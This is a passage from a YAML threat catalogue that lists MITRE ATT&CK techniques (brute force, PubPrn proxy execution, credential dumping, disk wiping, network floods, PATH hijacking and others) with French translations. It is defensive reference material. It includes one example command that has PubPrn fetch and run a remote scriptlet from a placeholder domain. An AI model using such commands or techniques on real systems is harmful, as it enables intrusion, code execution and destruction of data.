          \ les plus souvent cibl\xE9s sont les suivants :\n\n* SSH (22/TCP)\n* Telnet\
          \ (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP et 445/TCP)\n\
          * LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n\
          * Services de gestion HTTP/HTTP (80/TCP et 443/TCP)\n* MSSQL (1433/TCP)\n\
          * Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP\
          \ et 162/TCP/UDP)\n\nOutre les services de gestion, les adversaires peuvent\
          \ \xAB cibler l\u2019authentification unique (SSO) et les applications bas\xE9\
          es sur le cloud \xE0 l\u2019aide de protocoles d\u2019authentification f\xE9\
          d\xE9r\xE9s \xBB, ainsi que les applications de messagerie externes, telles\
          \ qu\u2019Office 365. (R\xE9f\xE9rence : US-CERT TA18-068A 2018). De plus,\
          \ les adversaires peuvent abuser des interfaces de p\xE9riph\xE9riques r\xE9\
          seau (telles que \xAB wlanAPI \xBB) pour forcer par force brute le(s) routeur(s)\
          \ wifi(s) accessible(s) via des protocoles d\u2019authentification sans\
          \ fil. (Citation : Trend Micro Emotet 2020)\n\nDans les environnements par\
          \ d\xE9faut, les tentatives de connexion LDAP et Kerberos sont moins susceptibles\
          \ de d\xE9clencher des \xE9v\xE9nements via SMB, ce qui cr\xE9e l\u2019\xE9\
          v\xE9nement d'\xAB \xE9chec de connexion \xBB Windows ID 4625.\nhttps://attack.mitre.org/techniques/T1110/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1216.001
    ref_id: T1216.001
    name: PubPrn
    description: 'Adversaries may use PubPrn to proxy execution of malicious remote
      files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005)
      script that publishes a printer to Active Directory Domain Services. The script
      may be signed by Microsoft and is commonly executed through the [Windows Command
      Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>.
      For example, the following code publishes a printer within the specified domain:
      <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation:
      pubprn)


      Adversaries may abuse PubPrn to execute malicious payloads hosted on remote
      sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the
      second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted
      on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>.
      This behavior may bypass signature validation restrictions and application control
      solutions that do not account for abuse of this script.


      In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated
      to prevent proxying execution from a remote site. This is done by limiting the
      protocol specified in the second parameter to <code>LDAP://</code>, vice the
      <code>script:</code> moniker which could be used to reference remote code via
      HTTP(S).

      https://attack.mitre.org/techniques/T1216/001'
    translations:
      fr:
        name: PubPrn
        description: "Les adversaires peuvent utiliser PubPrn pour l\u2019ex\xE9cution\
          \ par proxy de fichiers distants malveillants. PubPrn.vbs est un script\
          \ [Visual Basic](https://attack.mitre.org/techniques/T1059/005) qui publie\
          \ une imprimante dans les services de domaine Active Directory. Le script\
          \ peut \xEAtre sign\xE9 par Microsoft et est g\xE9n\xE9ralement ex\xE9cut\xE9\
          \ via le [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)\
          \ via <code>Cscript.exe</code>. Par exemple, le code suivant publie une\
          \ imprimante dans le domaine sp\xE9cifi\xE9 : <code>cscript pubprn Printer1\
          \ LDAP\_://CN=Container1,DC=Domain1,DC=Com</code>. (Citation : pubprn)\n\
          \nLes adversaires peuvent abuser de PubPrn pour ex\xE9cuter des charges\
          \ utiles malveillantes h\xE9berg\xE9es sur des sites distants. (Citation\
          \ : Enigma0x3 PubPrn Bypass) Pour ce faire, les adversaires peuvent d\xE9\
          finir le deuxi\xE8me <code>param\xE8tre script\_:</code> pour r\xE9f\xE9\
          rencer un fichier scriptlet (.sct) h\xE9berg\xE9 sur un site distant. Un\
          \ exemple de commande est <code>pubprn.vbs 127.0.0.1 script\_:https\_://mydomain.com/folder/file.sct</code>.\
          \ Ce comportement peut contourner les restrictions de validation de signature\
          \ et les solutions de contr\xF4le d\u2019application qui ne tiennent pas\
          \ compte de l\u2019utilisation abusive de ce script.\n\nDans les versions\
          \ ult\xE9rieures de Windows (10+), <code>PubPrn.vbs</code> a \xE9t\xE9 mis\
          \ \xE0 jour pour emp\xEAcher l\u2019ex\xE9cution de proxy \xE0 partir d\u2019\
          un site distant. Cela se fait en limitant le protocole sp\xE9cifi\xE9 dans\
          \ le deuxi\xE8me param\xE8tre \xE0 <code>LDAP://</code>, au lieu du moniker\
          \ <code>script\_:</code> qui pourrait \xEAtre utilis\xE9 pour r\xE9f\xE9\
          rencer du code distant via HTTP(S).\nhttps://attack.mitre.org/techniques/T1216/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1597.002
    ref_id: T1597.002
    name: Purchase Technical Data
    description: "Adversaries may purchase technical information about victims that\
      \ can be used during targeting. Information about victims may be available for\
      \ purchase within reputable private sources and databases, such as paid subscriptions\
      \ to feeds of scan databases or other data aggregation services. Adversaries\
      \ may also purchase information from less-reputable sources such as dark web\
      \ or cybercrime blackmarkets.\n\nAdversaries may purchase information about\
      \ their already identified targets, or use purchased data to discover opportunities\
      \ for successful breaches. Threat actors may gather various technical details\
      \ from purchased data, including but not limited to employee contact information,\
      \ credentials, or specifics regarding a victim\u2019s infrastructure.(Citation:\
      \ ZDNET Selling Data) Information from these sources may reveal opportunities\
      \ for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)\
      \ or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)),\
      \ establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)\
      \ or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or\
      \ initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)\
      \ or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\nhttps://attack.mitre.org/techniques/T1597/002"
    translations:
      fr:
        name: "Donn\xE9es techniques d\u2019achat"
        description: "Les adversaires peuvent acheter des informations techniques\
          \ sur les victimes qui peuvent \xEAtre utilis\xE9es lors du ciblage. Les\
          \ informations sur les victimes peuvent \xEAtre disponibles \xE0 l\u2019\
          achat dans des sources et des bases de donn\xE9es priv\xE9es r\xE9put\xE9\
          es, telles que des abonnements payants \xE0 des flux de bases de donn\xE9\
          es d\u2019analyse ou \xE0 d\u2019autres services d\u2019agr\xE9gation de\
          \ donn\xE9es. Les adversaires peuvent \xE9galement acheter des informations\
          \ aupr\xE8s de sources moins fiables, telles que le dark web ou les march\xE9\
          s noirs de la cybercriminalit\xE9.\n\nLes adversaires peuvent acheter des\
          \ informations sur leurs cibles d\xE9j\xE0 identifi\xE9es ou utiliser des\
          \ donn\xE9es achet\xE9es pour d\xE9couvrir des opportunit\xE9s de violations\
          \ r\xE9ussies. Les auteurs de menace peuvent recueillir divers d\xE9tails\
          \ techniques \xE0 partir des donn\xE9es achet\xE9es, y compris, mais sans\
          \ s\u2019y limiter, les coordonn\xE9es des employ\xE9s, les informations\
          \ d\u2019identification ou des d\xE9tails concernant l\u2019infrastructure\
          \ d\u2019une victime. (Citation : Donn\xE9es de vente ZDNET) Les informations\
          \ provenant de ces sources peuvent r\xE9v\xE9ler des possibilit\xE9s pour\
          \ d\u2019autres formes de reconnaissance (ex : [Phishing pour obtenir de\
          \ l\u2019information](https://attack.mitre.org/techniques/T1598) ou [Recherche\
          \ de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [Externe \xE0 distance Services](https://attack.mitre.org/techniques/T1133)\
          \ ou [Comptes valides](https://attack.mitre.org/techniques/T1078)).\nhttps://attack.mitre.org/techniques/T1597/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003
    ref_id: T1003
    name: OS Credential Dumping
    description: 'Adversaries may attempt to dump credentials to obtain account login
      and credential material, normally in the form of a hash or a clear text password.
      Credentials can be obtained from OS caches, memory, or structures.(Citation:
      Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008)
      and access restricted information.


      Several of the tools mentioned in associated sub-techniques may be used by both
      adversaries and professional security testers. Additional custom tools likely
      exist as well.

      https://attack.mitre.org/techniques/T1003'
    translations:
      fr:
        name: "Vidage des informations d\u2019identification du syst\xE8me d\u2019\
          exploitation"
        description: "Les adversaires peuvent tenter de vider les informations d\u2019\
          identification pour obtenir des informations d\u2019identification et de\
          \ connexion au compte, g\xE9n\xE9ralement sous la forme d\u2019un hachage\
          \ ou d\u2019un mot de passe en texte clair. Les informations d\u2019identification\
          \ peuvent \xEAtre obtenues \xE0 partir des caches, de la m\xE9moire ou des\
          \ structures du syst\xE8me d\u2019exploitation. (Citation : Brining MimiKatz\
          \ \xE0 Unix) Les informations d\u2019identification peuvent ensuite \xEA\
          tre utilis\xE9es pour effectuer [Mouvement lat\xE9ral](https://attack.mitre.org/tactics/TA0008)\
          \ et acc\xE9der \xE0 des informations restreintes.\n\nPlusieurs des outils\
          \ mentionn\xE9s dans les sous-techniques associ\xE9es peuvent \xEAtre utilis\xE9\
          s \xE0 la fois par des adversaires et des testeurs de s\xE9curit\xE9 professionnels.\
          \ D\u2019autres outils personnalis\xE9s existent probablement aussi.\nhttps://attack.mitre.org/techniques/T1003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1129
    ref_id: T1129
    name: Shared Modules
    description: 'Adversaries may execute malicious payloads via loading shared modules.
      Shared modules are executable files that are loaded into processes to provide
      access to reusable code, such as specific custom functions or invoking OS API
      functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).


      Adversaries may use this functionality as a way to execute arbitrary payloads
      on a victim system. For example, adversaries can modularize functionality of
      their malware into shared objects that perform various functions such as managing
      C2 network communications or execution of specific actions on objective.


      The Linux & macOS module loader can load and execute shared objects from arbitrary
      local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen`
      and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib`
      files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation:
      RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)


      The Windows module loader can be instructed to load DLLs from arbitrary local
      paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality
      resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106)
      which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft
      DLL)

      https://attack.mitre.org/techniques/T1129'
    translations:
      fr:
        name: "Modules partag\xE9s"
        description: "Les adversaires peuvent ex\xE9cuter des charges utiles malveillantes\
          \ en chargeant des modules partag\xE9s. Les modules partag\xE9s sont des\
          \ fichiers ex\xE9cutables qui sont charg\xE9s dans des processus pour fournir\
          \ un acc\xE8s \xE0 du code r\xE9utilisable, tel que des fonctions personnalis\xE9\
          es sp\xE9cifiques ou l\u2019appel de fonctions API du syst\xE8me d\u2019\
          exploitation (c\u2019est-\xE0-dire, [API native](https://attack.mitre.org/techniques/T1106)).\n\
          \nLes adversaires peuvent utiliser cette fonctionnalit\xE9 comme un moyen\
          \ d\u2019ex\xE9cuter des charges utiles arbitraires sur un syst\xE8me victime.\
          \ Par exemple, les adversaires peuvent modulariser les fonctionnalit\xE9\
          s de leurs logiciels malveillants en objets partag\xE9s qui ex\xE9cutent\
          \ diverses fonctions telles que la gestion des communications r\xE9seau\
          \ C2 ou l\u2019ex\xE9cution d\u2019actions sp\xE9cifiques sur objectif.\n\
          \nLe chargeur de modules Linux et macOS peut charger et ex\xE9cuter des\
          \ objets partag\xE9s \xE0 partir de chemins locaux arbitraires. Cette fonctionnalit\xE9\
          \ r\xE9side dans 'dlfcn.h' dans des fonctions telles que 'dlopen' et 'dlsym'.\
          \ Bien que macOS puisse ex\xE9cuter des fichiers \xAB .so \xBB, la pratique\
          \ courante utilise des fichiers \xAB .dylib \xBB. (Citation : Apple Dev\
          \ Dynamic Libraries)(Citation : Biblioth\xE8ques partag\xE9es Linux)(Citation\
          \ : RotaJakiro 2021 analyse netlab360)(Citation : Unit42 OceanLotus 2017)\n\
          \nLe chargeur de module Windows peut recevoir l\u2019instruction de charger\
          \ des DLL \xE0 partir de chemins locaux arbitraires et de chemins r\xE9\
          seau UNC (Universal Naming Convention) arbitraires. Cette fonctionnalit\xE9\
          \ r\xE9side dans 'NTDLL.dll' et fait partie de l'[API native](https://attack.mitre.org/techniques/T1106)\
          \ de Windows qui est appel\xE9e \xE0 partir de fonctions telles que 'LoadLibrary'\
          \ au moment de l\u2019ex\xE9cution. (Citation : Microsoft DLL)\nhttps://attack.mitre.org/techniques/T1129"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1602
    ref_id: T1602
    name: Data from Configuration Repository
    description: 'Adversaries may collect data related to managed devices from configuration
      repositories. Configuration repositories are used by management systems in order
      to configure, manage, and control data on remote systems. Configuration repositories
      may also facilitate remote access and administration of devices.


      Adversaries may target these repositories in order to collect large quantities
      of sensitive system administration data. Data from configuration repositories
      may be exposed by various protocols and software and can store a wide variety
      of data, much of which may align with adversary Discovery objectives.(Citation:
      US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)

      https://attack.mitre.org/techniques/T1602'
    translations:
      fr:
        name: "Donn\xE9es du r\xE9f\xE9rentiel de configuration"
        description: "Les adversaires peuvent collecter des donn\xE9es relatives aux\
          \ appareils g\xE9r\xE9s \xE0 partir de r\xE9f\xE9rentiels de configuration.\
          \ Les r\xE9f\xE9rentiels de configuration sont utilis\xE9s par les syst\xE8\
          mes de gestion pour configurer, g\xE9rer et contr\xF4ler les donn\xE9es\
          \ sur des syst\xE8mes distants. Les r\xE9f\xE9rentiels de configuration\
          \ peuvent \xE9galement faciliter l\u2019acc\xE8s \xE0 distance et l\u2019\
          administration des appareils.\n\nLes adversaires peuvent cibler ces r\xE9\
          f\xE9rentiels afin de collecter de grandes quantit\xE9s de donn\xE9es sensibles\
          \ d\u2019administration syst\xE8me. Les donn\xE9es des r\xE9f\xE9rentiels\
          \ de configuration peuvent \xEAtre expos\xE9es par divers protocoles et\
          \ logiciels et peuvent stocker une grande vari\xE9t\xE9 de donn\xE9es, dont\
          \ une grande partie peut s\u2019aligner sur les objectifs de d\xE9couverte\
          \ de l\u2019adversaire. (R\xE9f\xE9rence : US-CERT-TA18-106A)(R\xE9f\xE9\
          rence : US-CERT TA17-156A SNMP Abuse 2017)\nhttps://attack.mitre.org/techniques/T1602"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1561.002
    ref_id: T1561.002
    name: Disk Structure Wipe
    description: "Adversaries may corrupt or wipe the disk data structures on a hard\
      \ drive necessary to boot a system; targeting specific critical systems or in\
      \ large numbers in a network to interrupt availability to system and network\
      \ resources. \n\nAdversaries may attempt to render the system unable to boot\
      \ by overwriting critical data located in structures such as the master boot\
      \ record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation:\
      \ FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:\
      \ Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained\
      \ in disk structures may include the initial executable code for loading an\
      \ operating system or the location of the file system partitions on disk. If\
      \ this information is not present, the computer will not be able to load an\
      \ operating system during the boot process, leaving the computer unavailable.\
      \ [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be\
      \ performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001)\
      \ if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may\
      \ reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
      \ commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact\
      \ on the target organization, malware designed for destroying disk structures\
      \ may have worm-like features to propagate across a network by leveraging other\
      \ techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),\
      \ [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows\
      \ Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec\
      \ Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon\
      \ Nov 2016)(Citation: Kaspersky StoneDrill 2017)\nhttps://attack.mitre.org/techniques/T1561/002"
    translations:
      fr:
        name: Effacement de la structure du disque
        description: "Les adversaires peuvent corrompre ou effacer les structures\
          \ de donn\xE9es du disque dur d\u2019un disque dur n\xE9cessaire au d\xE9\
          marrage d\u2019un syst\xE8me ; Cibler des syst\xE8mes critiques sp\xE9cifiques\
          \ ou en grand nombre dans un r\xE9seau pour interrompre la disponibilit\xE9\
          \ des ressources syst\xE8me et r\xE9seau. \n\nLes adversaires peuvent tenter\
          \ de rendre le syst\xE8me incapable de d\xE9marrer en \xE9crasant les donn\xE9\
          es critiques situ\xE9es dans des structures telles que l\u2019enregistrement\
          \ de d\xE9marrage principal (MBR) ou la table de partition. (R\xE9f\xE9\
          rence : Symantec Shamoon 2012)(Citation : FireEye Shamoon novembre 2016)(Citation\
          \ : Palo Alto Shamoon, novembre 2016)(Citation : Kaspersky StoneDrill 2017)(Citation\
          \ : Unit\xE9 42 Shamoon3 2018) Les donn\xE9es contenues dans les structures\
          \ de disque peuvent inclure le code ex\xE9cutable initial pour le chargement\
          \ d\u2019un syst\xE8me d\u2019exploitation ou l\u2019emplacement des partitions\
          \ du syst\xE8me de fichiers sur le disque. Si ces informations ne sont pas\
          \ pr\xE9sentes, l\u2019ordinateur ne sera pas en mesure de charger un syst\xE8\
          me d\u2019exploitation pendant le processus de d\xE9marrage, laissant l\u2019\
          ordinateur indisponible. [Effacement de la structure du disque](https://attack.mitre.org/techniques/T1561/002)\
          \ peut \xEAtre effectu\xE9 de mani\xE8re isol\xE9e ou en m\xEAme temps que\
          \ [Effacement du contenu du disque](https://attack.mitre.org/techniques/T1561/001)\
          \ si tous les secteurs d\u2019un disque sont effac\xE9s.\n\nSur les p\xE9\
          riph\xE9riques r\xE9seau, les adversaires peuvent reformater le syst\xE8\
          me de fichiers \xE0 l\u2019aide des commandes [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ telles que 'format'. (R\xE9f\xE9rence : format_cmd_cisco)\n\nPour maximiser\
          \ l\u2019impact sur l\u2019organisation cible, les programmes malveillants\
          \ con\xE7us pour d\xE9truire les structures de disque peuvent avoir des\
          \ fonctionnalit\xE9s de type ver pour se propager sur un r\xE9seau en exploitant\
          \ d\u2019autres techniques telles que [Comptes valides](https://attack.mitre.org/techniques/T1078),\
          \ [Vidage des informations d\u2019identification du syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003)\
          \ et [Partages SMB/Windows Admin](https://attack.mitre.org/techniques/T1021/002).\
          \ (R\xE9f\xE9rence : Symantec Shamoon 2012)(Citation : FireEye Shamoon novembre\
          \ 2016)(Citation : Palo Alto Shamoon, novembre 2016)(Citation : Kaspersky\
          \ StoneDrill 2017)\nhttps://attack.mitre.org/techniques/T1561/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1498.001
    ref_id: T1498.001
    name: Direct Network Flood
    description: 'Adversaries may attempt to cause a denial of service (DoS) by directly
      sending a high-volume of network traffic to a target. This DoS attack may also
      reduce the availability and functionality of the targeted system(s) and network.
      [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when
      one or more systems are used to send a high-volume of network packets towards
      the targeted service''s network. Almost any network protocol may be used for
      flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful
      protocols such as TCP can be used as well.


      Botnets are commonly used to conduct network flooding attacks against networks
      and services. Large botnets can generate a significant amount of traffic from
      systems spread across the global Internet. Adversaries may have the resources
      to build out and control their own botnet infrastructure or may rent time on
      an existing botnet to conduct an attack. In some of the worst cases for distributed
      DoS (DDoS), so many systems are used to generate the flood that each one only
      needs to send out a small amount of traffic to produce enough volume to saturate
      the target network. In such circumstances, distinguishing DDoS traffic from
      legitimate clients becomes exceedingly difficult. Botnets have been used in
      some of the most high-profile DDoS flooding attacks, such as the 2012 series
      of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March
      2016)

      https://attack.mitre.org/techniques/T1498/001'
    translations:
      fr:
        name: "Inondation directe du r\xE9seau"
        description: "Les adversaires peuvent tenter de provoquer un d\xE9ni de service\
          \ (DoS) en envoyant directement un volume \xE9lev\xE9 de trafic r\xE9seau\
          \ \xE0 une cible. Cette attaque DoS peut \xE9galement r\xE9duire la disponibilit\xE9\
          \ et la fonctionnalit\xE9 du ou des syst\xE8mes et du r\xE9seau cibl\xE9\
          s. [Inondation directe du r\xE9seau]Les (https://attack.mitre.org/techniques/T1498/001)\
          \ sont lorsqu\u2019un ou plusieurs syst\xE8mes sont utilis\xE9s pour envoyer\
          \ un volume \xE9lev\xE9 de paquets r\xE9seau vers le r\xE9seau du service\
          \ cibl\xE9. Presque tous les protocoles r\xE9seau peuvent \xEAtre utilis\xE9\
          s pour l\u2019inondation. Les protocoles sans \xE9tat tels que UDP ou ICMP\
          \ sont couramment utilis\xE9s, mais les protocoles avec \xE9tat tels que\
          \ TCP peuvent \xE9galement \xEAtre utilis\xE9s.\n\nLes botnets sont couramment\
          \ utilis\xE9s pour mener des attaques d\u2019inondation de r\xE9seau contre\
          \ les r\xE9seaux et les services. Les botnets de grande taille peuvent g\xE9\
          n\xE9rer une quantit\xE9 importante de trafic \xE0 partir de syst\xE8mes\
          \ r\xE9partis sur l\u2019Internet mondial. Les adversaires peuvent disposer\
          \ des ressources n\xE9cessaires pour d\xE9velopper et contr\xF4ler leur\
          \ propre infrastructure de botnet ou louer du temps sur un botnet existant\
          \ pour mener une attaque. Dans certains des pires cas de DoS distribu\xE9\
          \ (DDoS), tant de syst\xE8mes sont utilis\xE9s pour g\xE9n\xE9rer le flood\
          \ que chacun n\u2019a besoin d\u2019envoyer qu\u2019une petite quantit\xE9\
          \ de trafic pour produire un volume suffisant pour saturer le r\xE9seau\
          \ cible. Dans de telles circonstances, il devient extr\xEAmement difficile\
          \ de distinguer le trafic DDoS des clients l\xE9gitimes. Les botnets ont\
          \ \xE9t\xE9 utilis\xE9s dans certaines des attaques DDoS flooding les plus\
          \ m\xE9diatis\xE9es, telles que la s\xE9rie d\u2019incidents de 2012 qui\
          \ ont cibl\xE9 de grandes banques am\xE9ricaines. (Citation : USNYAG IranianBotnet\
          \ mars 2016)\nhttps://attack.mitre.org/techniques/T1498/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.007
    ref_id: T1574.007
    name: Path Interception by PATH Environment Variable
    description: "Adversaries may execute their own malicious payloads by hijacking\
      \ environment variables used to load libraries. The PATH environment variable\
      \ contains a list of directories (User and System) that the OS searches sequentially\
      \ through in search of the binary that was called from a script or the command\
      \ line. \n\nAdversaries can place a malicious program in an earlier entry in\
      \ the list of directories stored in the PATH environment variable, resulting\
      \ in the operating system executing the malicious binary rather than the legitimate\
      \ binary when it searches sequentially through that PATH listing.\n\nFor example,\
      \ on Windows if an adversary places a malicious program named \"net.exe\" in\
      \ `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe`\
      \ in the PATH environment variable, when \"net\" is executed from the command-line\
      \ the `C:\\example path` will be called instead of the system's legitimate executable\
      \ at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely\
      \ on the PATH environment variable to determine the locations that are searched\
      \ when the path for the program is not given, such as executing programs from\
      \ a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation:\
      \ ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify\
      \ the $PATH variable specifying the directories to be searched.  An adversary\
      \ can modify the `$PATH` variable to point to a directory they have write access.\
      \ When a program using the $PATH variable is called, the OS searches the specified\
      \ directory and executes the malicious binary. On macOS, this can also be performed\
      \ through modifying the $HOME variable. These variables can be modified using\
      \ the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004),\
      \ or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC\
      \ linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic\
      \ Rules macOS launchctl 2022)\nhttps://attack.mitre.org/techniques/T1574/007"
    translations:
      fr:
        name: "Interception de chemin par la variable d\u2019environnement PATH"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ malveillantes en d\xE9tournant les variables d\u2019environnement utilis\xE9\
          es pour charger les biblioth\xE8ques. La variable d\u2019environnement PATH\
          \ contient une liste de r\xE9pertoires (Utilisateur et Syst\xE8me) que le\
          \ syst\xE8me d\u2019exploitation parcourt s\xE9quentiellement \xE0 la recherche\
          \ du binaire appel\xE9 \xE0 partir d\u2019un script ou de la ligne de commande.\
          \ \n\nLes adversaires peuvent placer un programme malveillant dans une entr\xE9\
          e ant\xE9rieure de la liste des r\xE9pertoires stock\xE9s dans la variable\
          \ d\u2019environnement PATH, ce qui fait que le syst\xE8me d\u2019exploitation\
          \ ex\xE9cute le binaire malveillant plut\xF4t que le binaire l\xE9gitime\
          \ lorsqu\u2019il effectue une recherche s\xE9quentielle dans cette liste\
          \ PATH.\n\nPar exemple, sous Windows, si un adversaire place un programme\
          \ malveillant nomm\xE9 \xAB\_net.exe\_\xBB dans 'C\_:\\example path', qui\
          \ pr\xE9c\xE8de par d\xE9faut 'C\_:\\Windows\\system32\\net.exe' dans la\
          \ variable d\u2019environnement PATH, lorsque \xAB\_net\_\xBB est ex\xE9\
          cut\xE9 \xE0 partir de la ligne de commande, 'C\_:\\example path' sera appel\xE9\
          \ \xE0 la place de l\u2019ex\xE9cutable l\xE9gitime du syst\xE8me \xE0 'C\_\
          :\\Windows\\system32\\net.exe. Certaines m\xE9thodes d\u2019ex\xE9cution\
          \ d\u2019un programme s\u2019appuient sur la variable d\u2019environnement\
          \ PATH pour d\xE9terminer les emplacements recherch\xE9s lorsque le chemin\
          \ d\u2019acc\xE8s du programme n\u2019est pas indiqu\xE9, comme l\u2019\
          ex\xE9cution de programmes \xE0 partir d\u2019un [interpr\xE9teur de commandes\
          \ et de scripts](https://attack.mitre.org/techniques/T1059). (Citation\_\
          : ExpressVPN PATH env Windows 2021)\n\nLes adversaires peuvent \xE9galement\
          \ modifier directement la variable $PATH en sp\xE9cifiant les r\xE9pertoires\
          \ \xE0 rechercher.  Un adversaire peut modifier la variable '$PATH' pour\
          \ qu\u2019elle pointe vers un r\xE9pertoire auquel il a un acc\xE8s en \xE9\
          criture. Lorsqu\u2019un programme utilisant la variable $PATH est appel\xE9\
          , le syst\xE8me d\u2019exploitation recherche le r\xE9pertoire sp\xE9cifi\xE9\
          \ et ex\xE9cute le binaire malveillant. Sur macOS, cela peut \xE9galement\
          \ \xEAtre effectu\xE9 en modifiant la variable $HOME. Ces variables peuvent\
          \ \xEAtre modifi\xE9es \xE0 l\u2019aide de la ligne de commande, de launchctl,\
          \ de [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004),\
          \ ou en modifiant le contenu du dossier '/etc/paths.d'. (Citation\_: uptycs\
          \ Fake POC linux malware 2023)(Citation : Variables PATH macOS nixCraft)(Citation\
          \ : Elastic Rules macOS launchctl 2022)\nhttps://attack.mitre.org/techniques/T1574/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1213.002
    ref_id: T1213.002
    name: Sharepoint
    description: 'Adversaries may leverage the SharePoint repository as a source to
      mine valuable information. SharePoint will often contain useful information
      for an adversary to learn about the structure and functionality of the internal
      network and systems. For example, the following is a list of example information
      that may hold potential value to an adversary and may also be found on SharePoint:


      * Policies, procedures, and standards

      * Physical / logical network diagrams

      * System architecture diagrams

      * Technical system documentation

      * Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))

      * Work / project schedules

      * Source code snippets

      * Links to network shares and other internal resources

      https://attack.mitre.org/techniques/T1213/002'
    translations:
      fr:
        name: Sharepoint
        description: "Les adversaires peuvent exploiter le r\xE9f\xE9rentiel SharePoint\
          \ comme source pour extraire des informations pr\xE9cieuses. SharePoint\
          \ contient souvent des informations utiles pour qu\u2019un adversaire puisse\
          \ en savoir plus sur la structure et les fonctionnalit\xE9s du r\xE9seau\
          \ et des syst\xE8mes internes. Par exemple, voici une liste d\u2019exemples\
          \ d\u2019informations qui peuvent avoir une valeur potentielle pour un adversaire\
          \ et qui peuvent \xE9galement \xEAtre trouv\xE9es sur SharePoint :\n\n*\
          \ Politiques, proc\xE9dures et normes\n* Diagrammes de r\xE9seau physiques\
          \ / logiques\n* Diagrammes d\u2019architecture syst\xE8me\n* Documentation\
          \ technique du syst\xE8me\n* R\xE9f\xE9rences de test/d\xE9veloppement (c\u2019\
          est-\xE0-dire, [Informations d\u2019identification non s\xE9curis\xE9es](https://attack.mitre.org/techniques/T1552))\n\
          * Calendriers de travaux / projets\n* Extraits de code source\n* Liens vers\
          \ des partages de r\xE9seau et d\u2019autres ressources internes\nhttps://attack.mitre.org/techniques/T1213/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1006
    ref_id: T1006
    name: Direct Volume Access
    description: 'Adversaries may directly access a volume to bypass file access controls
      and file system monitoring. Windows allows programs to have direct access to
      logical volumes. Programs with direct access may read and write files directly
      from the drive by analyzing file system data structures. This technique may
      bypass Windows file access controls as well as file system monitoring tools.
      (Citation: Hakobyan 2009)


      Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation:
